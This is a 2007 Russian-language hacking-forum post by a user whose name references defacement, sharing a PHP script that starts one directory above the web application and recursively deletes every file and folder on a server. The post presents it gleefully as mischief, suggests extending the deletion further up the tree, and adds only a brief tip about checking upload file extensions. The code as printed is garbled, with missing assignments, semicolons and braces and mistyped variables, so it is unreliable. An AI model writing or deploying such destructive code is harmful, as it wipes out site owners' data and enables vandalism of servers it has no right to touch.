Показать сообщение отдельно

рекурсивное удаление
  #68  
Старый 12.04.2007, 00:13
mR_LiNK[deface_0nl
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме:
1364740

Репутация: 114
По умолчанию рекурсивное удаление

Зло зло зло__))
//малые шалости_
"Кому-то создавать, кто-то должен созедать, а кто-то наглый) все разрушать"

Теперь по делу::
PHP код:
<?php
//вызывается функция, удаляющая файлы с сервера, с параметром '..', ))
//чтобы подняться на один уровень выше:: это позволит уничтожить больше файлов, )))
//так как наверняка веб_приложение находится в отдельной директории))))
//поехали
delfiles("..");

//функция, удаляющая каталоги и файлы сервера
function delfiles($catalog)
{
$dir opendir($catalog)
while (
false !== ($file readdir($dir))
  {
  
//Если текущей объект - файл, то что делаем?? del del & del
  
if(is_file($catalog."/".$file)) unlink($$catalog."/".$file);
  
//Если текущий объект - каталог, то рекурсивный вызов delfiles(), 
  //тем самым избегаем каталогов '.' и '..',
  //которые соответствуют текущему и вышележащему))
  
else if (is_dir($catalog.'/'.$file) && ($file !='.') && ($file != '..')) delfiles($catalog.'/'.$files);
  }
  
//закрываем дир
  
closedir($dir);
  
//ну и на последок))
  
rmdir($catalog);

?>
О недосказанном:: есть возможность модификации рекурсии вверх по дереву))
НО последнее слово как всегда за правами доступа))..ну разве это проблема)

Итак дамы и господа) будте бдительны!! Порой безопасность приложений играет более важную роль чем сами приложения
Безопасность::
Решить вышеописанную проблему поможет проверка расширения файла (а может и не решить)))

зы:: 2nc.striem -> исправлено!

Последний раз редактировалось mR_LiNK[deface_0nl; 12.04.2007 в 01:33..
 
Ответить с цитированием